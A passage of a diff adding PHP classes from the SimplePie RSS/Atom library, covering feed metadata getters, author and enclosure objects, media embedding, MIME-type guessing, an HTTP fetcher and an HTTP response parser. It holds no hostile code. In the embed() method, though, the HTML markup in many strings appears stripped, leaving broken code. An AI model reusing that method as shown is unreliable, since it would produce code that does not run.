$this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'language')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif (isset($this->data['xml_lang'])) + { + return $this->sanitize($this->data['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + return null; + } + } + + function get_latitude() + { + if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat')) + { + return (float) $return[0]['data']; + } + elseif (($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', $return[0]['data'], $match)) + { + return (float) $match[1]; + } + else + { + return null; + } + } + + function get_longitude() + { + if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long')) + { + return (float) $return[0]['data']; + } + elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon')) + { + return (float) $return[0]['data']; + } + elseif (($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', $return[0]['data'], $match)) + { + return (float) $match[2]; + } + else + { + return null; + } + } + + function get_image_url() + { + if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'image')) + { + return $this->sanitize($return[0]['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI); + } + elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'logo')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); + } + elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'icon')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); + } + else + { + return null; + } + } +} + +class SimplePie_Author +{ + var $name; + var $link; + var $email; + + // Constructor, used to input the data + function SimplePie_Author($name = null, $link = null, $email = null) + { + $this->name = $name; + $this->link = $link; + $this->email = $email; + } + + function __toString() + { + // There is no $this->data here + return md5(serialize($this)); + } + + function get_name() + { + if ($this->name !== null) + { + return $this->name; + } + else + { + return null; + } + } + + function get_link() + { + if ($this->link !== null) + { + return $this->link; + } + else + { + return null; + } + } + + function get_email() + { + if ($this->email !== null) + { + return $this->email; + } + else + { + return null; + } + } +} + +class SimplePie_Category +{ + var $term; + var $scheme; + var $label; + + // Constructor, used to input the data + function SimplePie_Category($term = null, $scheme = null, $label = null) + { + $this->term = $term; + $this->scheme = $scheme; + $this->label = $label; + } + + function __toString() + { + // There is no $this->data here + return md5(serialize($this)); + } + + function get_term() + { + if ($this->term !== null) + { + return $this->term; + } + else + { + return null; + } + } + + function get_scheme() + { + if ($this->scheme !== null) + { + return $this->scheme; + } + else + { + return null; + } + } + + function get_label() + { + if ($this->label !== null) + { + return $this->label; + } + else + { + return $this->get_term(); + } + } +} + +class SimplePie_Enclosure +{ + var $bitrate; + var $captions; + var $categories; + var $channels; + var $copyright; + var $credits; + var $description; + var $duration; + var $expression; + var $framerate; + var $handler; + var $hashes; + var $height; + var $javascript; + var $keywords; + var $lang; + var $length; + var $link; + var $medium; + var $player; + var $ratings; + var $restrictions; + var $samplingrate; + var $thumbnails; + var $title; + var $type; + var $width; + + // Constructor, used to input the data + function SimplePie_Enclosure($link = null, $type = null, $length = null, $javascript = null, $bitrate = null, $captions = null, $categories = null, $channels = null, $copyright = null, $credits = null, $description = null, $duration = null, $expression = null, $framerate = null, $hashes = null, $height = null, $keywords = null, $lang = null, $medium = null, $player = null, $ratings = null, $restrictions = null, $samplingrate = null, $thumbnails = null, $title = null, $width = null) + { + $this->bitrate = $bitrate; + $this->captions = $captions; + $this->categories = $categories; + $this->channels = $channels; + $this->copyright = $copyright; + $this->credits = $credits; + $this->description = $description; + $this->duration = $duration; + $this->expression = $expression; + $this->framerate = $framerate; + $this->hashes = $hashes; + $this->height = $height; + $this->javascript = $javascript; + $this->keywords = $keywords; + $this->lang = $lang; + $this->length = $length; + $this->link = $link; + $this->medium = $medium; + $this->player = $player; + $this->ratings = $ratings; + $this->restrictions = $restrictions; + $this->samplingrate = $samplingrate; + $this->thumbnails = $thumbnails; + $this->title = $title; + $this->type = $type; + $this->width = $width; + if (class_exists('idna_convert')) + { + $idn =& new idna_convert; + $parsed = SimplePie_Misc::parse_url($link); + $this->link = SimplePie_Misc::compress_parse_url($parsed['scheme'], $idn->encode($parsed['authority']), $parsed['path'], $parsed['query'], $parsed['fragment']); + } + $this->handler = $this->get_handler(); // Needs to load last + } + + function __toString() + { + // There is no $this->data here + return md5(serialize($this)); + } + + function get_bitrate() + { + if ($this->bitrate !== null) + { + return $this->bitrate; + } + else + { + return null; + } + } + + function get_caption($key = 0) + { + $captions = $this->get_captions(); + if (isset($captions[$key])) + { + return $captions[$key]; + } + else + { + return null; + } + } + + function get_captions() + { + if ($this->captions !== null) + { + return $this->captions; + } + else + { + return null; + } + } + + function get_category($key = 0) + { + $categories = $this->get_categories(); + if (isset($categories[$key])) + { + return $categories[$key]; + } + else + { + return null; + } + } + + function get_categories() + { + if ($this->categories !== null) + { + return $this->categories; + } + else + { + return null; + } + } + + function get_channels() + { + if ($this->channels !== null) + { + return $this->channels; + } + else + { + return null; + } + } + + function get_copyright() + { + if ($this->copyright !== null) + { + return $this->copyright; + } + else + { + return null; + } + } + + function get_credit($key = 0) + { + $credits = $this->get_credits(); + if (isset($credits[$key])) + { + return $credits[$key]; + } + else + { + return null; + } + } + + function get_credits() + { + if ($this->credits !== null) + { + return $this->credits; + } + else + { + return null; + } + } + + function get_description() + { + if ($this->description !== null) + { + return $this->description; + } + else + { + return null; + } + } + + function get_duration($convert = false) + { + if ($this->duration !== null) + { + if ($convert) + { + $time = SimplePie_Misc::time_hms($this->duration); + return $time; + } + else + { + return $this->duration; + } + } + else + { + return null; + } + } + + function get_expression() + { + if ($this->expression !== null) + { + return $this->expression; + } + else + { + return 'full'; + } + } + + function get_extension() + { + if ($this->link !== null) + { + $url = SimplePie_Misc::parse_url($this->link); + if ($url['path'] !== '') + { + return pathinfo($url['path'], PATHINFO_EXTENSION); + } + } + return null; + } + + function get_framerate() + { + if ($this->framerate !== null) + { + return $this->framerate; + } + else + { + return null; + } + } + + function get_handler() + { + return $this->get_real_type(true); + } + + function get_hash($key = 0) + { + $hashes = $this->get_hashes(); + if (isset($hashes[$key])) + { + return $hashes[$key]; + } + else + { + return null; + } + } + + function get_hashes() + { + if ($this->hashes !== null) + { + return $this->hashes; + } + else + { + return null; + } + } + + function get_height() + { + if ($this->height !== null) + { + return $this->height; + } + else + { + return null; + } + } + + function get_language() + { + if ($this->lang !== null) + { + return $this->lang; + } + else + { + return null; + } + } + + function get_keyword($key = 0) + { + $keywords = $this->get_keywords(); + if (isset($keywords[$key])) + { + return $keywords[$key]; + } + else + { + return null; + } + } + + function get_keywords() + { + if ($this->keywords !== null) + { + return $this->keywords; + } + else + { + return null; + } + } + + function get_length() + { + if ($this->length !== null) + { + return $this->length; + } + else + { + return null; + } + } + + function get_link() + { + if ($this->link !== null) + { + return urldecode($this->link); + } + else + { + return null; + } + } + + function get_medium() + { + if ($this->medium !== null) + { + return $this->medium; + } + else + { + return null; + } + } + + function get_player() + { + if ($this->player !== null) + { + return $this->player; + } + else + { + return null; + } + } + + function get_rating($key = 0) + { + $ratings = $this->get_ratings(); + if (isset($ratings[$key])) + { + return $ratings[$key]; + } + else + { + return null; + } + } + + function get_ratings() + { + if ($this->ratings !== null) + { + return $this->ratings; + } + else + { + return null; + } + } + + function get_restriction($key = 0) + { + $restrictions = $this->get_restrictions(); + if (isset($restrictions[$key])) + { + return $restrictions[$key]; + } + else + { + return null; + } + } + + function get_restrictions() + { + if ($this->restrictions !== null) + { + return $this->restrictions; + } + else + { + return null; + } + } + + function get_sampling_rate() + { + if ($this->samplingrate !== null) + { + return $this->samplingrate; + } + else + { + return null; + } + } + + function get_size() + { + $length = $this->get_length(); + if ($length !== null) + { + return round($length/1048576, 2); + } + else + { + return null; + } + } + + function get_thumbnail($key = 0) + { + $thumbnails = $this->get_thumbnails(); + if (isset($thumbnails[$key])) + { + return $thumbnails[$key]; + } + else + { + return null; + } + } + + function get_thumbnails() + { + if ($this->thumbnails !== null) + { + return $this->thumbnails; + } + else + { + return null; + } + } + + function get_title() + { + if ($this->title !== null) + { + return $this->title; + } + else + { + return null; + } + } + + function get_type() + { + if ($this->type !== null) + { + return $this->type; + } + else + { + return null; + } + } + + function get_width() + { + if ($this->width !== null) + { + return $this->width; + } + else + { + return null; + } + } + + function native_embed($options='') + { + return $this->embed($options, true); + } + + /** + * @todo If the dimensions for media:content are defined, use them when width/height are set to 'auto'. + */ + function embed($options = '', $native = false) + { + // Set up defaults + $audio = ''; + $video = ''; + $alt = ''; + $altclass = ''; + $loop = 'false'; + $width = 'auto'; + $height = 'auto'; + $bgcolor = '#ffffff'; + $mediaplayer = ''; + $widescreen = false; + $handler = $this->get_handler(); + $type = $this->get_real_type(); + + // Process options and reassign values as necessary + if (is_array($options)) + { + extract($options); + } + else + { + $options = explode(',', $options); + foreach($options as $option) + { + $opt = explode(':', $option, 2); + if (isset($opt[0], $opt[1])) + { + $opt[0] = trim($opt[0]); + $opt[1] = trim($opt[1]); + switch ($opt[0]) + { + case 'audio': + $audio = $opt[1]; + break; + + case 'video': + $video = $opt[1]; + break; + + case 'alt': + $alt = $opt[1]; + break; + + case 'altclass': + $altclass = $opt[1]; + break; + + case 'loop': + $loop = $opt[1]; + break; + + case 'width': + $width = $opt[1]; + break; + + case 'height': + $height = $opt[1]; + break; + + case 'bgcolor': + $bgcolor = $opt[1]; + break; + + case 'mediaplayer': + $mediaplayer = $opt[1]; + break; + + case 'widescreen': + $widescreen = $opt[1]; + break; + } + } + } + } + + $mime = explode('/', $type, 2); + $mime = $mime[0]; + + // Process values for 'auto' + if ($width === 'auto') + { + if ($mime === 'video') + { + if ($height === 'auto') + { + $width = 480; + } + elseif ($widescreen) + { + $width = round((intval($height)/9)*16); + } + else + { + $width = round((intval($height)/3)*4); + } + } + else + { + $width = '100%'; + } + } + + if ($height === 'auto') + { + if ($mime === 'audio') + { + $height = 0; + } + elseif ($mime === 'video') + { + if ($width === 'auto') + { + if ($widescreen) + { + $height = 270; + } + else + { + $height = 360; + } + } + elseif ($widescreen) + { + $height = round((intval($width)/16)*9); + } + else + { + $height = round((intval($width)/4)*3); + } + } + else + { + $height = 376; + } + } + elseif ($mime === 'audio') + { + $height = 0; + } + + // Set proper placeholder value + if ($mime === 'audio') + { + $placeholder = $audio; + } + elseif ($mime === 'video') + { + $placeholder = $video; + } + + $embed = ''; + + // Make sure the JS library is included + if (!$native) + { + static $javascript_outputted = null; + if (!$javascript_outputted && $this->javascript) + { + $embed .= ''; + $javascript_outputted = true; + } + } + + // Odeo Feed MP3's + if ($handler === 'odeo') + { + if ($native) + { + $embed .= ''; + } + else + { + $embed .= ''; + } + } + + // Flash + elseif ($handler === 'flash') + { + if ($native) + { + $embed .= "get_link() . "\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"$type\" quality=\"high\" width=\"$width\" height=\"$height\" bgcolor=\"$bgcolor\" loop=\"$loop\">"; + } + else + { + $embed .= ""; + } + } + + // Flash Media Player file types. + // Preferred handler for MP3 file types. + elseif ($handler === 'fmedia' || ($handler === 'mp3' && $mediaplayer !== '')) + { + $height += 20; + if ($native) + { + $embed .= "get_link().'?file_extension=.'.$this->get_extension()) . "&autostart=false&repeat=$loop&showdigits=true&showfsbutton=false\">"; + } + else + { + $embed .= ""; + } + } + + // QuickTime 7 file types. Need to test with QuickTime 6. + // Only handle MP3's if the Flash Media Player is not present. + elseif ($handler === 'quicktime' || ($handler === 'mp3' && $mediaplayer === '')) + { + $height += 16; + if ($native) + { + if ($placeholder !== '') + { + $embed .= "get_link() . "\" src=\"$placeholder\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"false\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\">"; + } + else + { + $embed .= "get_link() . "\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"true\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\">"; + } + } + else + { + $embed .= ""; + } + } + + // Windows Media + elseif ($handler === 'wmedia') + { + $height += 45; + if ($native) + { + $embed .= "get_link() . "\" autosize=\"1\" width=\"$width\" height=\"$height\" showcontrols=\"1\" showstatusbar=\"0\" showdisplay=\"0\" autostart=\"0\">"; + } + else + { + $embed .= ""; + } + } + + // Everything else + else $embed .= '' . $alt . ''; + + return $embed; + } + + function get_real_type($find_handler = false) + { + // If it's Odeo, let's get it out of the way. + if (substr(strtolower($this->get_link()), 0, 15) === 'http://odeo.com') + { + return 'odeo'; + } + + // Mime-types by handler. + $types_flash = array('application/x-shockwave-flash', 'application/futuresplash'); // Flash + $types_fmedia = array('video/flv', 'video/x-flv','flv-application/octet-stream'); // Flash Media Player + $types_quicktime = array('audio/3gpp', 'audio/3gpp2', 'audio/aac', 'audio/x-aac', 'audio/aiff', 'audio/x-aiff', 'audio/mid', 'audio/midi', 'audio/x-midi', 'audio/mp4', 'audio/m4a', 'audio/x-m4a', 'audio/wav', 'audio/x-wav', 'video/3gpp', 'video/3gpp2', 'video/m4v', 'video/x-m4v', 'video/mp4', 'video/mpeg', 'video/x-mpeg', 'video/quicktime', 'video/sd-video'); // QuickTime + $types_wmedia = array('application/asx', 'application/x-mplayer2', 'audio/x-ms-wma', 'audio/x-ms-wax', 'video/x-ms-asf-plugin', 'video/x-ms-asf', 'video/x-ms-wm', 'video/x-ms-wmv', 'video/x-ms-wvx'); // Windows Media + $types_mp3 = array('audio/mp3', 'audio/x-mp3', 'audio/mpeg', 'audio/x-mpeg'); // MP3 + + if ($this->get_type() !== null) + { + $type = strtolower($this->type); + } + else + { + $type = null; + } + + // If we encounter an unsupported mime-type, check the file extension and guess intelligently. + if (!in_array($type, array_merge($types_flash, $types_fmedia, $types_quicktime, $types_wmedia, $types_mp3))) + { + switch (strtolower($this->get_extension())) + { + // Audio mime-types + case 'aac': + case 'adts': + $type = 'audio/acc'; + break; + + case 'aif': + case 'aifc': + case 'aiff': + case 'cdda': + $type = 'audio/aiff'; + break; + + case 'bwf': + $type = 'audio/wav'; + break; + + case 'kar': + case 'mid': + case 'midi': + case 'smf': + $type = 'audio/midi'; + break; + + case 'm4a': + $type = 'audio/x-m4a'; + break; + + case 'mp3': + case 'swa': + $type = 'audio/mp3'; + break; + + case 'wav': + $type = 'audio/wav'; + break; + + case 'wax': + $type = 'audio/x-ms-wax'; + break; + + case 'wma': + $type = 'audio/x-ms-wma'; + break; + + // Video mime-types + case '3gp': + case '3gpp': + $type = 'video/3gpp'; + break; + + case '3g2': + case '3gp2': + $type = 'video/3gpp2'; + break; + + case 'asf': + $type = 'video/x-ms-asf'; + break; + + case 'flv': + $type = 'video/x-flv'; + break; + + case 'm1a': + case 'm1s': + case 'm1v': + case 'm15': + case 'm75': + case 'mp2': + case 'mpa': + case 'mpeg': + case 'mpg': + case 'mpm': + case 'mpv': + $type = 'video/mpeg'; + break; + + case 'm4v': + $type = 'video/x-m4v'; + break; + + case 'mov': + case 'qt': + $type = 'video/quicktime'; + break; + + case 'mp4': + case 'mpg4': + $type = 'video/mp4'; + break; + + case 'sdv': + $type = 'video/sd-video'; + break; + + case 'wm': + $type = 'video/x-ms-wm'; + break; + + case 'wmv': + $type = 'video/x-ms-wmv'; + break; + + case 'wvx': + $type = 'video/x-ms-wvx'; + break; + + // Flash mime-types + case 'spl': + $type = 'application/futuresplash'; + break; + + case 'swf': + $type = 'application/x-shockwave-flash'; + break; + } + } + + if ($find_handler) + { + if (in_array($type, $types_flash)) + { + return 'flash'; + } + elseif (in_array($type, $types_fmedia)) + { + return 'fmedia'; + } + elseif (in_array($type, $types_quicktime)) + { + return 'quicktime'; + } + elseif (in_array($type, $types_wmedia)) + { + return 'wmedia'; + } + elseif (in_array($type, $types_mp3)) + { + return 'mp3'; + } + else + { + return null; + } + } + else + { + return $type; + } + } +} + +class SimplePie_Caption +{ + var $type; + var $lang; + var $startTime; + var $endTime; + var $text; + + // Constructor, used to input the data + function SimplePie_Caption($type = null, $lang = null, $startTime = null, $endTime = null, $text = null) + { + $this->type = $type; + $this->lang = $lang; + $this->startTime = $startTime; + $this->endTime = $endTime; + $this->text = $text; + } + + function __toString() + { + // There is no $this->data here + return md5(serialize($this)); + } + + function get_endtime() + { + if ($this->endTime !== null) + { + return $this->endTime; + } + else + { + return null; + } + } + + function get_language() + { + if ($this->lang !== null) + { + return $this->lang; + } + else + { + return null; + } + } + + function get_starttime() + { + if ($this->startTime !== null) + { + return $this->startTime; + } + else + { + return null; + } + } + + function get_text() + { + if ($this->text !== null) + { + return $this->text; + } + else + { + return null; + } + } + + function get_type() + { + if ($this->type !== null) + { + return $this->type; + } + else + { + return null; + } + } +} + +class SimplePie_Credit +{ + var $role; + var $scheme; + var $name; + + // Constructor, used to input the data + function SimplePie_Credit($role = null, $scheme = null, $name = null) + { + $this->role = $role; + $this->scheme = $scheme; + $this->name = $name; + } + + function __toString() + { + // There is no $this->data here + return md5(serialize($this)); + } + + function get_role() + { + if ($this->role !== null) + { + return $this->role; + } + else + { + return null; + } + } + + function get_scheme() + { + if ($this->scheme !== null) + { + return $this->scheme; + } + else + { + return null; + } + } + + function get_name() + { + if ($this->name !== null) + { + return $this->name; + } + else + { + return null; + } + } +} + +class SimplePie_Copyright +{ + var $url; + var $label; + + // Constructor, used to input the data + function SimplePie_Copyright($url = null, $label = null) + { + $this->url = $url; + $this->label = $label; + } + + function __toString() + { + // There is no $this->data here + return md5(serialize($this)); + } + + function get_url() + { + if ($this->url !== null) + { + return $this->url; + } + else + { + return null; + } + } + + function get_attribution() + { + if ($this->label !== null) + { + return $this->label; + } + else + { + return null; + } + } +} + +class SimplePie_Rating +{ + var $scheme; + var $value; + + // Constructor, used to input the data + function SimplePie_Rating($scheme = null, $value = null) + { + $this->scheme = $scheme; + $this->value = $value; + } + + function __toString() + { + // There is no $this->data here + return md5(serialize($this)); + } + + function get_scheme() + { + if ($this->scheme !== null) + { + return $this->scheme; + } + else + { + return null; + } + } + + function get_value() + { + if ($this->value !== null) + { + return $this->value; + } + else + { + return null; + } + } +} + +class SimplePie_Restriction +{ + var $relationship; + var $type; + var $value; + + // Constructor, used to input the data + function SimplePie_Restriction($relationship = null, $type = null, $value = null) + { + $this->relationship = $relationship; + $this->type = $type; + $this->value = $value; + } + + function __toString() + { + // There is no $this->data here + return md5(serialize($this)); + } + + function get_relationship() + { + if ($this->relationship !== null) + { + return $this->relationship; + } + else + { + return null; + } + } + + function get_type() + { + if ($this->type !== null) + { + return $this->type; + } + else + { + return null; + } + } + + function get_value() + { + if ($this->value !== null) + { + return $this->value; + } + else + { + return null; + } + } +} + +/** + * @todo Move to properly supporting RFC2616 (HTTP/1.1) + */ +class SimplePie_File +{ + var $url; + var $useragent; + var $success = true; + var $headers = array(); + var $body; + var $status_code; + var $redirects = 0; + var $error; + var $method = SIMPLEPIE_FILE_SOURCE_NONE; + + function SimplePie_File($url, $timeout = 10, $redirects = 5, $headers = null, $useragent = null, $force_fsockopen = false) + { + if (class_exists('idna_convert')) + { + $idn =& new idna_convert; + $parsed = SimplePie_Misc::parse_url($url); + $url = SimplePie_Misc::compress_parse_url($parsed['scheme'], $idn->encode($parsed['authority']), $parsed['path'], $parsed['query'], $parsed['fragment']); + } + $this->url = $url; + $this->useragent = $useragent; + if (preg_match('/^http(s)?:\/\//i', $url)) + { + if ($useragent === null) + { + $useragent = ini_get('user_agent'); + $this->useragent = $useragent; + } + if (!is_array($headers)) + { + $headers = array(); + } + if (!$force_fsockopen && function_exists('curl_exec')) + { + $this->method = SIMPLEPIE_FILE_SOURCE_REMOTE | SIMPLEPIE_FILE_SOURCE_CURL; + $fp = curl_init(); + $headers2 = array(); + foreach ($headers as $key => $value) + { + $headers2[] = "$key: $value"; + } + if (version_compare(SimplePie_Misc::get_curl_version(), '7.10.5', '>=')) + { + curl_setopt($fp, CURLOPT_ENCODING, ''); + } + curl_setopt($fp, CURLOPT_URL, $url); + curl_setopt($fp, CURLOPT_HEADER, 1); + curl_setopt($fp, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($fp, CURLOPT_TIMEOUT, $timeout); + curl_setopt($fp, CURLOPT_CONNECTTIMEOUT, $timeout); + curl_setopt($fp, CURLOPT_REFERER, $url); + curl_setopt($fp, CURLOPT_USERAGENT, $useragent); + curl_setopt($fp, CURLOPT_HTTPHEADER, $headers2); + if (!ini_get('open_basedir') && !ini_get('safe_mode') && version_compare(SimplePie_Misc::get_curl_version(), '7.15.2', '>=')) + { + curl_setopt($fp, CURLOPT_FOLLOWLOCATION, 1); + curl_setopt($fp, CURLOPT_MAXREDIRS, $redirects); + } + + $this->headers = curl_exec($fp); + if (curl_errno($fp) === 23 || curl_errno($fp) === 61) + { + curl_setopt($fp, CURLOPT_ENCODING, 'none'); + $this->headers = curl_exec($fp); + } + if (curl_errno($fp)) + { + $this->error = 'cURL error ' . curl_errno($fp) . ': ' . curl_error($fp); + $this->success = false; + } + else + { + $info = curl_getinfo($fp); + curl_close($fp); + $this->headers = explode("\r\n\r\n", $this->headers, $info['redirect_count'] + 1); + $this->headers = array_pop($this->headers); + $parser =& new SimplePie_HTTP_Parser($this->headers); + if ($parser->parse()) + { + $this->headers = $parser->headers; + $this->body = $parser->body; + $this->status_code = $parser->status_code; + if ((in_array($this->status_code, array(300, 301, 302, 303, 307)) || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects) + { + $this->redirects++; + $location = SimplePie_Misc::absolutize_url($this->headers['location'], $url); + return $this->SimplePie_File($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen); + } + } + } + } + else + { + $this->method = SIMPLEPIE_FILE_SOURCE_REMOTE | SIMPLEPIE_FILE_SOURCE_FSOCKOPEN; + $url_parts = parse_url($url); + if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https') + { + $url_parts['host'] = "ssl://$url_parts[host]"; + $url_parts['port'] = 443; + } + if (!isset($url_parts['port'])) + { + $url_parts['port'] = 80; + } + $fp = @fsockopen($url_parts['host'], $url_parts['port'], $errno, $errstr, $timeout); + if (!$fp) + { + $this->error = 'fsockopen error: ' . $errstr; + $this->success = false; + } + else + { + stream_set_timeout($fp, $timeout); + if (isset($url_parts['path'])) + { + if (isset($url_parts['query'])) + { + $get = "$url_parts[path]?$url_parts[query]"; + } + else + { + $get = $url_parts['path']; + } + } + else + { + $get = '/'; + } + $out = "GET $get HTTP/1.0\r\n"; + $out .= "Host: $url_parts[host]\r\n"; + $out .= "User-Agent: $useragent\r\n"; + if (extension_loaded('zlib')) + { + $out .= "Accept-Encoding: x-gzip,gzip,deflate\r\n"; + } + + if (isset($url_parts['user']) && isset($url_parts['pass'])) + { + $out .= "Authorization: Basic " . base64_encode("$url_parts[user]:$url_parts[pass]") . "\r\n"; + } + foreach ($headers as $key => $value) + { + $out .= "$key: $value\r\n"; + } + $out .= "Connection: Close\r\n\r\n"; + fwrite($fp, $out); + + $info = stream_get_meta_data($fp); + + $this->headers = ''; + while (!$info['eof'] && !$info['timed_out']) + { + $this->headers .= fread($fp, 1160); + $info = stream_get_meta_data($fp); + } + if (!$info['timed_out']) + { + $parser =& new SimplePie_HTTP_Parser($this->headers); + if ($parser->parse()) + { + $this->headers = $parser->headers; + $this->body = $parser->body; + $this->status_code = $parser->status_code; + if ((in_array($this->status_code, array(300, 301, 302, 303, 307)) || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects) + { + $this->redirects++; + $location = SimplePie_Misc::absolutize_url($this->headers['location'], $url); + return $this->SimplePie_File($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen); + } + if (isset($this->headers['content-encoding'])) + { + // Hey, we act dumb elsewhere, so let's do that here too + switch (strtolower(trim($this->headers['content-encoding'], "\x09\x0A\x0D\x20"))) + { + case 'gzip': + case 'x-gzip': + $decoder =& new SimplePie_gzdecode($this->body); + if (!$decoder->parse()) + { + $this->error = 'Unable to decode HTTP "gzip" stream'; + $this->success = false; + } + else + { + $this->body = $decoder->data; + } + break; + + case 'deflate': + if (($body = gzuncompress($this->body)) === false) + { + if (($body = gzinflate($this->body)) === false) + { + $this->error = 'Unable to decode HTTP "deflate" stream'; + $this->success = false; + } + } + $this->body = $body; + break; + + default: + $this->error = 'Unknown content coding'; + $this->success = false; + } + } + } + } + else + { + $this->error = 'fsocket timed out'; + $this->success = false; + } + fclose($fp); + } + } + } + else + { + $this->method = SIMPLEPIE_FILE_SOURCE_LOCAL | SIMPLEPIE_FILE_SOURCE_FILE_GET_CONTENTS; + if (!$this->body = file_get_contents($url)) + { + $this->error = 'file_get_contents could not read the file'; + $this->success = false; + } + } + } +} + +/** + * HTTP Response Parser + * + * @package SimplePie + */ +class SimplePie_HTTP_Parser +{ + /** + * HTTP Version + * + * @access public + * @var float + */ + var $http_version = 0.0; + + /** + * Status code + * + * @access public + * @var int + */ + var $status_code = 0; + + /** + * Reason phrase + * + * @access public + * @var string + */ + var $reason = ''; + + /** + * Key/value pairs of the headers + * + * @access public + * @var array + */ + var $headers = array(); + + /** + * Body of the response + * + * @access public + * @var string + */ + var $body = ''; + + /** + * Current state of the state machine + * + * @access private + * @var string + */ + var $state = 'http_version'; + + /** + * Input data + * + * @access private + * @var string + */ + var $data = ''; + + /** + * Input data length (to avoid calling strlen() everytime this is needed) + * + * @access private + * @var int + */ + var $data_length = 0; + + /** + * Current position of the pointer + * + * @var int + * @access private + */ + var $position = 0; + + /** + * Name of the hedaer currently being parsed + * + * @access private + * @var string + */ + var $name = ''; + + /** + * Value of the hedaer currently being parsed + * + * @access private + * @var string + */ + var $value = ''; + + /** + * Create an instance of the class with the input data + * + * @access public + * @param string $data Input data + */ + function SimplePie_HTTP_Parser($data) + { + $this->data = $data; + $this->data_length = strlen($this->data); + } + + /** + * Parse the input data + * + * @access public + * @return bool true on success, false on failure + */ + function parse() + { + while ($this->state && $this->state !== 'emit' && $this->has_data()) + { + $state = $this->state; + $this->$state(); + } + $this->data = ''; + if ($this->state === 'emit' || $this->state === 'body') + { + return true; + } + else + { + $this->http_version = ''; + $this->status_code = ''; + $this->reason = ''; + $this->headers = array(); + $this->body = ''; + return false; + } + } + + /** + * Check whether there is data beyond the pointer + * + * @access private + * @return bool true if there is further data, false if not + */ + function has_data() + { + return (bool) ($this->position < $this->data_length); + } + + /** + * See if the next character is LWS + * + * @access private + * @return bool true if the next character is LWS, false if not + */ + function is_linear_whitespace() + { + return (bool) ($this->data[$this->position] === "\x09" + || $this->data[$this->position] === "\x20" + || ($this->data[$this->position] === "\x0A" + && isset($this->data[$this->position + 1]) + && ($this->data[$this->position + 1] === "\x09" || $this->data[$this->position + 1] === "\x20"))); + } + + /** + * Parse the HTTP version + * + * @access private + */ + function http_version() + { + if (strpos($this->data, "\x0A") !== false && strtoupper(substr($this->data, 0, 5)) === 'HTTP/') + { + $len = strspn($this->data, '0123456789.', 5); + $this->http_version = substr($this->data, 5, $len); + $this->position += 5 + $len; + if (substr_count($this->http_version, '.') <= 1) + { + $this->http_version = (float) $this->http_version; + $this->position += strspn($this->data, "\x09\x20", $this->position); + $this->state = 'status'; + } + else + { + $this->state = false; + } + } + else + { + $this->state = false; + } + } + + /** + * Parse the status code + * + * @access private + */ + function status() + { + if ($len = strspn($this->data, '0123456789', $this->position)) + { + $this->status_code = (int) substr($this->data, $this->position, $len); + $this->position += $len; + $this->state = 'reason'; + } + else + { + $this->state = false; + } + } + + /** + * Parse the reason phrase + * + * @access private + */ + function reason() + { + $len = strcspn($this->data, "\x0A", $this->position); + $this->reason = trim(substr($this->data, $this->position, $len), "\x09\x0D\x20"); + $this->position += $len + 1; + $this->state = 'new_line'; + } + + /** + * Deal with a new line, shifting data around as needed + * + * @access private + */ + function new_line() + { + $this->value = trim($this->value, "\x0D\x20"); + if ($this->name !== '' && $this->value !== '') + { + $this->name = strtolower($this->name); + if (isset($this->headers[$this->name])) + { + $this->headers[$this->name] .= ', ' . $this->value; + } + else + { + $this->headers[$this->name] = $this->value; + } + } + $this->name = ''; + $this->value = ''; + if (substr($this->data[$this->position], 0, 2) === "\x0D\x0A") + { + $this->position += 2; + $this->state = 'body'; + } + elseif ($this->data[$this->position] === "\x0A") + { + $this->position++; + $this->state = 'body'; + } + else + { + $this->state = 'name'; + } + } + + /** + * Parse a header name + * + * @access private + */ + function name() + { + $len = strcspn($this->data, "\x0A:", $this->position); + if (isset($this->data[$this->position + $len])) + { + if ($this->data[$this->position + $len] === "\x0A") + { + $this->position += $len; + $this->state = 'new_line'; + } + else + { + $this->name = substr($this->data, $this->position, $len); + $this->position += $len + 1; + $this->state = 'value'; + } + } + else + { + $this->state = false; + } + } + + /** + * Parse LWS, replacing consecutive LWS characters with a single space + * + * @access private + */ + function linear_whitespace() + { + do + { + if (substr($this->data, $this->position, 2) === "\x0D\x0A") + { + $this->position += 2; + } + elseif ($this->data[$this->position] === "\x0A") + { + $this->position++; + } + $this->position += strspn($this->data, "\x09\x20", $this->position); + } while ($this->has_data() && $this->is_linear_whitespace()); + $this->value .= "\x20"; + } + + /** + * See what state to move to while within non-quoted header values + * + * @access private + */ + function value() + { + if 